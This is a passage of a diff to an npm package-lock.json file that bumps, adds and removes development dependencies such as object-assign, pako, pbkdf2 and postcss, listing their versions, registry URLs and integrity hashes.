"sha1-F76av80/8OFRL2/Er8sfUDk3j64=", "dev": true }, - "num2fraction": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz", - "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=", - "dev": true - }, "number-is-nan": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", @@ -10316,27 +12553,77 @@ "integrity": "sha1-8MaapQ78lbhmwYb0AKM3acsvEpE=", "dev": true }, + "object-copy": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", + "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", + "dev": true, + "requires": { + "copy-descriptor": "0.1.1", + "define-property": "0.2.5", + "kind-of": "3.2.2" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "0.1.6" + } + } + } + }, "object-hash": { - "version": "1.1.8", - "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-1.1.8.tgz", - "integrity": "sha1-KKZZz5h9lqTavnhgKJ87UybEoDw=", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-1.3.0.tgz", + "integrity": "sha512-05KzQ70lSeGSrZJQXE5wNDiTkBJDlUT/myi6RX9dVIvz7a7Qh4oH93BQdiPMn27nldYvVQCKMUaM83AfizZlsQ==", "dev": true }, "object-keys": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.0.11.tgz", - "integrity": "sha1-xUYBd4rVYPEULODgG8yotW0TQm0=", + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.0.12.tgz", + "integrity": "sha512-FTMyFUm2wBcGHnH2eXmz7tC6IwlqQZ6mVZ+6dm6vZ4IQIHjs6FdNsQBuKGPuUUUY6NfJw2PshC08Tn6LzLDOag==", "dev": true }, - "object.assign": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.0.4.tgz", - "integrity": "sha1-scnMBE7xuf5jYG/BQau7MuFHMMw=", + "object-visit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", + "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", "dev": true, "requires": { - "define-properties": "1.1.2", - "function-bind": "1.1.0", - "object-keys": "1.0.11" + "isobject": "3.0.1" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + } + } + }, + "object.assign": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz", + "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", + "dev": true, + "requires": { + "define-properties": "1.1.3", + "function-bind": "1.1.1", + "has-symbols": "1.0.0", + "object-keys": "1.0.12" + } + }, + "object.getownpropertydescriptors": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.0.3.tgz", + "integrity": "sha1-h1jIRvW0B62rDyNuCYbxSwUcqhY=", + "dev": true, + "requires": { + "define-properties": "1.1.3", + "es-abstract": "1.12.0" } }, "object.omit": { @@ -10344,11 +12631,35 @@ "resolved": "https://registry.npmjs.org/object.omit/-/object.omit-2.0.1.tgz", "integrity": "sha1-Gpx0SCnznbuFjHbKNXmuKlTr0fo=", "dev": true, + "optional": true, "requires": { "for-own": "0.1.5", "is-extendable": "0.1.1" } }, + "object.pick": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", + "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", + "dev": true, + "requires": { + "isobject": "3.0.1" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + } + } + }, + "obuf": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==", + "dev": true + }, "on-finished": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", @@ -10374,10 +12685,13 @@ } }, "onetime": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-1.1.0.tgz", - "integrity": "sha1-ofeDj4MUxRbwXs78vEzP4EtO14k=", - "dev": true + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz", + "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", + "dev": true, + "requires": { + "mimic-fn": "1.2.0" + } }, "open": { "version": "0.0.5", @@ -10385,6 +12699,15 @@ "integrity": "sha1-QsPhjslUZra/DcQvOilFw/DK2Pw=", "dev": true }, + "opn": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/opn/-/opn-5.3.0.tgz", + "integrity": "sha512-bYJHo/LOmoTd+pfiYhfZDnf9zekVJrY+cnS2a5F2x+w5ppvTqObojTP7WiFG+kVZs9Inw+qQ/lw7TroWwhdd2g==", + "dev": true, + "requires": { + "is-wsl": "1.1.0" + } + }, "optimist": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/optimist/-/optimist-0.6.1.tgz", @@ -10423,37 +12746,19 @@ "wordwrap": "1.0.0" } }, - "options": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/options/-/options-0.0.6.tgz", - "integrity": "sha1-7CLTEoBrtT5zF3Pnza788cZDEo8=", - "dev": true - }, "original": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/original/-/original-1.0.0.tgz", - "integrity": "sha1-kUf5P6FpbQS+YeAb1QuurKZWvTs=", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/original/-/original-1.0.2.tgz", + "integrity": "sha512-hyBVl6iqqUOJ8FqRe+l/gS8H+kKYjrEndd5Pm1MfBtsEKA038HkkdbAl/72EAXGyonD/PFsvmVG+EvcIpliMBg==", "dev": true, "requires": { - "url-parse": "1.0.5" - }, - "dependencies": { - "url-parse": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.0.5.tgz", - "integrity": "sha1-CFSGBCKv3P7+tsllxmLUgAFpkns=", - "dev": true, - "requires": { - "querystringify": "0.0.4", - "requires-port": "1.0.0" - } - } + "url-parse": "1.4.3" } }, "os-browserify": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.2.1.tgz", - "integrity": "sha1-Y/xMzuXS13Y9Jrv4YBB45sLgBE8=", + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz", + "integrity": "sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=", "dev": true }, "os-homedir": { @@ -10462,23 +12767,153 @@ "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", "dev": true }, + "os-locale": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-2.1.0.tgz", + "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==", + "dev": true, + "requires": { + "execa": "0.7.0", + "lcid": "1.0.0", + "mem": "1.1.0" + } + }, "os-tmpdir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", "dev": true }, - "pako": { - "version": "0.2.9", - "resolved": "https://registry.npmjs.org/pako/-/pako-0.2.9.tgz", - "integrity": "sha1-8/dSL073gjSNqBYbrZ7P1Rv4OnU=", + "output-file-sync": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/output-file-sync/-/output-file-sync-1.1.2.tgz", + "integrity": "sha1-0KM+7+YaIF+suQCS6CZZjVJFznY=", + "dev": true, + "requires": { + "graceful-fs": "4.1.11", + "mkdirp": "0.5.1", + "object-assign": "4.1.1" + } + }, + "p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", "dev": true }, + "p-limit": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", + "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", + "dev": true, + "requires": { + "p-try": "1.0.0" + } + }, + "p-locate": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", + "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", + "dev": true, + "requires": { + "p-limit": "1.3.0" + } + }, + "p-map": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-1.2.0.tgz", + "integrity": "sha512-r6zKACMNhjPJMTl8KcFH4li//gkrXWfbD6feV8l6doRHlzljFWGJ2AP6iKaCJXyZmAUMOPtvbW7EXkbWO/pLEA==", + "dev": true + }, + "p-try": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", + "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=", + "dev": true + }, + "pako": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.6.tgz", + "integrity": "sha512-lQe48YPsMJAig+yngZ87Lus+NF+3mtu7DVOBu6b/gHO1YpKwIj5AWjZ/TOS7i46HD/UixzWb1zeWDZfGZ3iYcg==", + "dev": true + }, + "parallel-transform": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.1.0.tgz", + "integrity": "sha1-1BDwZbBdojCB/NEPKIVMKb2jOwY=", + "dev": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.6" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" + } + } + } + }, + "param-case": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-2.1.1.tgz", + "integrity": "sha1-35T9jPZTHs915r75oIWPvHK+Ikc=", + "dev": true, + "requires": { + "no-case": "2.3.2" + } + }, + "parse-asn1": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.1.tgz", + "integrity": "sha512-KPx7flKXg775zZpnp9SxJlz00gTd4BmJ2yJufSc44gMCRrRQ7NSzAcSJQfifuOLgW6bEi+ftrALtsgALeB2Adw==", + "dev": true, + "requires": { + "asn1.js": "4.10.1", + "browserify-aes": "1.2.0", + "create-hash": "1.2.0", + "evp_bytestokey": "1.0.3", + "pbkdf2": "3.0.16" + } + }, "parse-glob": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/parse-glob/-/parse-glob-3.0.4.tgz", "integrity": "sha1-ssN2z7EfNVE7rdFz7wu246OIORw=", "dev": true, + "optional": true, "requires": { "glob-base": "0.3.0", "is-dotfile": "1.0.3", @@ -10492,16 +12927,7 @@ "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", "dev": true, "requires": { - "error-ex": "1.3.1" - } - }, - "parsejson": { - "version": "0.0.3", - "resolved": "https://registry.npmjs.org/parsejson/-/parsejson-0.0.3.tgz", - "integrity": "sha1-q343WfIJ7OmUN5c/fQ8fZK4OZKs=", - "dev": true, - "requires": { - "better-assert": "1.0.2" + "error-ex": "1.3.2" } }, "parseqs": { @@ -10523,9 +12949,15 @@ } }, "parseurl": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.1.tgz", - "integrity": "sha1-yKuMkiO6NIiKpkopeyiFO+wY2lY=", + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.2.tgz", + "integrity": "sha1-/CidTtiZMRlGDBViUyYs3I3mW/M=", + "dev": true + }, + "pascalcase": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", + "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=", "dev": true }, "path-browserify": { @@ -10534,6 +12966,12 @@ "integrity": "sha1-oLhwcpquIUAFt9UDLsLLuw+0RRo=", "dev": true }, + "path-dirname": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz", + "integrity": "sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=", + "dev": true + }, "path-exists": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz", @@ -10555,10 +12993,10 @@ "integrity": "sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=", "dev": true }, - "path-parse": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.5.tgz", - "integrity": "sha1-PBrfhx6pzWyUMbbqK9dKD/BVxME=", + "path-key": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", + "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", "dev": true }, "path-to-regexp": { @@ -10578,12 +13016,25 @@ "pinkie-promise": "2.0.1" } }, - "pbkdf2-compat": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pbkdf2-compat/-/pbkdf2-compat-2.0.1.tgz", - "integrity": "sha1-tuDI+plJTZTgURV1gCpZpcFC8og=", + "pathval": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.0.tgz", + "integrity": "sha1-uULm1L3mUwBe9rcTYd74cn0GReA=", "dev": true }, + "pbkdf2": { + "version": "3.0.16", + "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.16.tgz", + "integrity": "sha512-y4CXP3thSxqf7c0qmOF+9UeOTrifiVTIM+u7NWlq+PRsHbr7r7dpCmvzrZxa96JJUNi0Y5w9VqG5ZNeCVMoDcA==", + "dev": true, + "requires": { + "create-hash": "1.2.0", + "create-hmac": "1.1.7", + "ripemd160": "2.0.2", + "safe-buffer": "5.1.1", + "sha.js": "2.4.11" + } + }, "pend": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", @@ -10635,272 +13086,111 @@ } }, "pkg-dir": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-1.0.0.tgz", - "integrity": "sha1-ektQio1bstYp1EcFb/TpyTFM89Q=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-2.0.0.tgz", + "integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=", "dev": true, "requires": { - "find-up": "1.1.2" - } - }, - "pluralize": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-1.2.1.tgz", - "integrity": "sha1-0aIUg/0iu0HlihL6NCGCMUCJfEU=", - "dev": true - }, - "postcss": { - "version": "5.2.17", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-5.2.17.tgz", - "integrity": "sha1-z09Ze4ZNZcikkrLqvp1wbIecOIs=", - "dev": true, - "requires": { - "chalk": "1.1.3", - "js-base64": "2.1.9", - "source-map": "0.5.6", - "supports-color": "3.2.3" + "find-up": "2.1.0" }, "dependencies": { - "supports-color": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.2.3.tgz", - "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=", + "find-up": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", + "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", "dev": true, "requires": { - "has-flag": "1.0.0" + "locate-path": "2.0.0" } } } }, - "postcss-calc": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-5.3.1.tgz", - "integrity": "sha1-d7rnypKK2FcW4v2kLyYb98HWW14=", - "dev": true, - "requires": { - "postcss": "5.2.17", - "postcss-message-helpers": "2.0.0", - "reduce-css-calc": "1.3.0" - } - }, - "postcss-colormin": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-2.2.2.tgz", - "integrity": "sha1-ZjFBfV8OkJo9fsJrJMio0eT5bks=", - "dev": true, - "requires": { - "colormin": "1.1.2", - "postcss": "5.2.17", - "postcss-value-parser": "3.3.0" - } - }, - "postcss-convert-values": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-2.6.1.tgz", - "integrity": "sha1-u9hZPFwf0uPRwyK7kl3K6Nrk1i0=", - "dev": true, - "requires": { - "postcss": "5.2.17", - "postcss-value-parser": "3.3.0" - } - }, - "postcss-discard-comments": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-2.0.4.tgz", - "integrity": "sha1-vv6J+v1bPazlzM5Rt2uBUUvgDj0=", - "dev": true, - "requires": { - "postcss": "5.2.17" - } - }, - "postcss-discard-duplicates": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-2.1.0.tgz", - "integrity": "sha1-uavye4isGIFYpesSq8riAmO5GTI=", - "dev": true, - "requires": { - "postcss": "5.2.17" - } - }, - "postcss-discard-empty": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-2.1.0.tgz", - "integrity": "sha1-0rS9nVztXr2Nyt52QMfXzX9PkrU=", - "dev": true, - "requires": { - "postcss": "5.2.17" - } - }, - "postcss-discard-overridden": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-0.1.1.tgz", - "integrity": "sha1-ix6vVU9ob7KIzYdMVWZ7CqNmjVg=", - "dev": true, - "requires": { - "postcss": "5.2.17" - } - }, - "postcss-discard-unused": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/postcss-discard-unused/-/postcss-discard-unused-2.2.3.tgz", - "integrity": "sha1-vOMLLMWR/8Y0Mitfs0ZLbZNPRDM=", - "dev": true, - "requires": { - "postcss": "5.2.17", - "uniqs": "2.0.0" - } - }, - "postcss-filter-plugins": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/postcss-filter-plugins/-/postcss-filter-plugins-2.0.2.tgz", - "integrity": "sha1-bYWGJTTXNaxCDkqFgG4fXUKG2Ew=", - "dev": true, - "requires": { - "postcss": "5.2.17", - "uniqid": "4.1.1" - } - }, - "postcss-merge-idents": { - "version": "2.1.7", - "resolved": "https://registry.npmjs.org/postcss-merge-idents/-/postcss-merge-idents-2.1.7.tgz", - "integrity": "sha1-TFUwMTwI4dWzu/PSu8dH4njuonA=", - "dev": true, - "requires": { - "has": "1.0.1", - "postcss": "5.2.17", - "postcss-value-parser": "3.3.0" - } - }, - "postcss-merge-longhand": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-2.0.2.tgz", - "integrity": "sha1-I9kM0Sewp3mUkVMyc5A0oaTz1lg=", - "dev": true, - "requires": { - "postcss": "5.2.17" - } - }, - "postcss-merge-rules": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-2.1.2.tgz", - "integrity": "sha1-0d9d+qexrMO+VT8OnhDofGG19yE=", - "dev": true, - "requires": { - "browserslist": "1.7.7", - "caniuse-api": "1.6.1", - "postcss": "5.2.17", - "postcss-selector-parser": "2.2.3", - "vendors": "1.0.1" - } - }, - "postcss-message-helpers": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/postcss-message-helpers/-/postcss-message-helpers-2.0.0.tgz", - "integrity": "sha1-pPL0+rbk/gAvCu0ABHjN9S+bpg4=", + "pluralize": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", + "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==", "dev": true }, - "postcss-minify-font-values": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-1.0.5.tgz", - "integrity": "sha1-S1jttWZB66fIR0qzUmyv17vey2k=", + "portfinder": { + "version": "1.0.16", + "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.16.tgz", + "integrity": "sha512-icBXCFQxzlK2PMepOM0QeEdPPFSLAaXXeuKOv5AClJlMy1oVCBrkDGJ12IZYesI/BF8mpeVco3vRCmgeBb4+hw==", "dev": true, "requires": { - "object-assign": "4.1.1", - "postcss": "5.2.17", - "postcss-value-parser": "3.3.0" + "async": "1.5.2", + "debug": "2.6.8", + "mkdirp": "0.5.1" } }, - "postcss-minify-gradients": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-1.0.5.tgz", - "integrity": "sha1-Xb2hE3NwP4PPtKPqOIHY11/15uE=", - "dev": true, - "requires": { - "postcss": "5.2.17", - "postcss-value-parser": "3.3.0" - } + "posix-character-classes": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", + "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=", + "dev": true }, - "postcss-minify-params": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-1.2.2.tgz", - "integrity": "sha1-rSzgcTc7lDs9kwo/pZo1jCjW8fM=", + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", "dev": true, "requires": { - "alphanum-sort": "1.0.2", - "postcss": "5.2.17", - "postcss-value-parser": "3.3.0", - "uniqs": "2.0.0" - } - }, - "postcss-minify-selectors": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-2.1.1.tgz", - "integrity": "sha1-ssapjAByz5G5MtGkllCBFDEXNb8=", - "dev": true, - "requires": { - "alphanum-sort": "1.0.2", - "has": "1.0.1", - "postcss": "5.2.17", - "postcss-selector-parser": "2.2.3" - } - }, - "postcss-modules-extract-imports": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-1.1.0.tgz", - "integrity": "sha1-thTJcgvmgW6u41+zpfqh26agXds=", - "dev": true, - "requires": { - "postcss": "6.0.9" + "chalk": "2.4.1", + "source-map": "0.6.1", + "supports-color": "5.4.0" }, "dependencies": { "ansi-styles": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz", - "integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { "color-convert": "1.9.0" } }, "chalk": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.1.0.tgz", - "integrity": "sha512-LUHGS/dge4ujbXMJrnihYMcL4AoOweGnw9Tp3kQuqy1Kx5c1qKjqvMJZ6nVJPMWJtKCTN72ZogH3oeSO9g9rXQ==", + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "3.2.0", + "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "4.2.1" + "supports-color": "5.4.0" } }, "has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, - "postcss": { - "version": "6.0.9", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.9.tgz", - "integrity": "sha512-bBE2AHNEBhF23TfET6AA/lFP8ah+qHOZoFJEflFG+HgvVLdTmMOrocx/4LVVDIn3w6jUssw1q2Exk1cc9UOI8w==", - "dev": true, - "requires": { - "chalk": "2.1.0", - "source-map": "0.5.6", - "supports-color": "4.2.1" - } + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true }, "supports-color": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.2.1.tgz", - "integrity": "sha512-qxzYsob3yv6U+xMzPrv170y8AwGP7i74g+pbixCfD6rgso8BscLT2qXIuz6TpOaiJZ3mFgT5O9lyT9nMU4LfaA==", + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "2.0.0" + "has-flag": "3.0.0" } } } }, + "postcss-modules-extract-imports": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-1.2.0.tgz", + "integrity": "sha1-ZhQOzs447wa/DT41XWm/WdFB6oU=", + "dev": true, + "requires": { + "postcss": "6.0.23" + } + }, "postcss-modules-local-by-default": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-1.2.0.tgz", @@ -10908,77 +13198,7 @@ "dev": true, "requires": { "css-selector-tokenizer": "0.7.0", - "postcss": "6.0.9" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz", - "integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==", - "dev": true, - "requires": { - "color-convert": "1.9.0" - } - }, - "chalk": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.1.0.tgz", - "integrity": 